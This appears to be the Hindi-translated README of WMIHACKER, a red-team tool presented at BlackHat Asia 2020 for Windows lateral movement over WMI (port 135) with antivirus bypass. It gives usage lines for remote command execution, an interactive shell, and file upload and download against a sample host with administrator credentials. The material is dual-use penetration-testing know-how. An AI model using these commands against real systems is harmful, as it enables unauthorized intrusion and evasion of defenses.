WMIHACKER（445 पोर्ट की आवश्यकता नहीं）

中文版(चीनी संस्करण)

अस्वीकरण: इस परियोजना में शामिल तकनीक केवल सुरक्षा सीखने और रक्षा उद्देश्यों के लिए है, अवैध उपयोग निषिद्ध है!

एंटी-वायरस सॉफ़्टवेयर को बायपास करने वाला लेटरल मूवमेंट कमांड निष्पादन परीक्षण उपकरण（445 पोर्ट की आवश्यकता नहीं）

परिचय: सामान्य WMIEXEC, PSEXEC उपकरण कमांड निष्पादित करने के लिए सेवा बनाते हैं या Win32_Process.create को कॉल करते हैं, इन विधियों को एंटी-वायरस सॉफ़्टवेयर 100% द्वारा रोक दिया गया है, इसलिए हमने WMIHACKER बनाया (एंटी-वायरस सॉफ़्टवेयर को बायपास करने वाला लेटरल मूवमेंट कमांड निष्पादन परीक्षण उपकरण（445 पोर्ट की आवश्यकता नहीं）).

मुख्य कार्य: 1. कमांड निष्पादन; 2. फ़ाइल अपलोड; 3. फ़ाइल डाउनलोड

उपयोग कैसे करें

C:\Users\administrator\Desktop>cscript //nologo WMIHACKER_0.6.vbs

__          ____  __ _____   _    _          _____ _  ________ _____
\ \        / /  \/  |_   _| | |  | |   /\   / ____| |/ /  ____|  __ \
 \ \  /\  / /| \  / | | |   | |__| |  /  \ | |    | ' /| |__  | |__) |
  \ \/  \/ / | |\/| | | |   |  __  | / /\ \| |    |  < |  __| |  _  /
   \  /\  /  | |  | |_| |_  | |  | |/ ____ \ |____| . \| |____| | \ \
    \/  \/   |_|  |_|_____| |_|  |_/_/    \_\_____|_|\_\______|_|  \_\
                              v0.6beta       By. Xiangshan@360RedTeam
Usage:
        WMIHACKER.vbs  /cmd  host  user  pass  command GETRES?

        WMIHACKER.vbs  /shell  host  user  pass

        WMIHACKER.vbs  /upload  host  user  pass  localpath remotepath

        WMIHACKER.vbs  /download  host  user  pass  localpath remotepath

          /cmd          single command mode
          host          hostname or IP address
          GETRES?       Res Need Or Not, Use 1 Or 0
          command       the command to run on remote host

कमांड निष्पादित होने के बाद परिणाम प्रदर्शित होता है

> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1

कमांड निष्पादित होने के बाद कोई परिणाम प्रदर्शित नहीं होता

> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0

शेल मोड

> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"

फ़ाइल अपलोड: स्थानीय calc.exe को दूरस्थ होस्ट c:\calc.exe पर कॉपी करें

> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"

फ़ाइल डाउनलोड: दूरस्थ होस्ट calc.exe को स्थानीय c:\calc.exe पर डाउनलोड करें

> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"

404Starlink

WMIHACKER ने 404Starlink में शामिल हो गया है

BlackHat Asia 2020 शस्त्रागार

https://www.blackhat.com/asia-20/arsenal/schedule/#wmihacker-a-new-way-to-use-135-port-lateral-movement-bypass-av-and-transfer-file-18995

स्टार इतिहास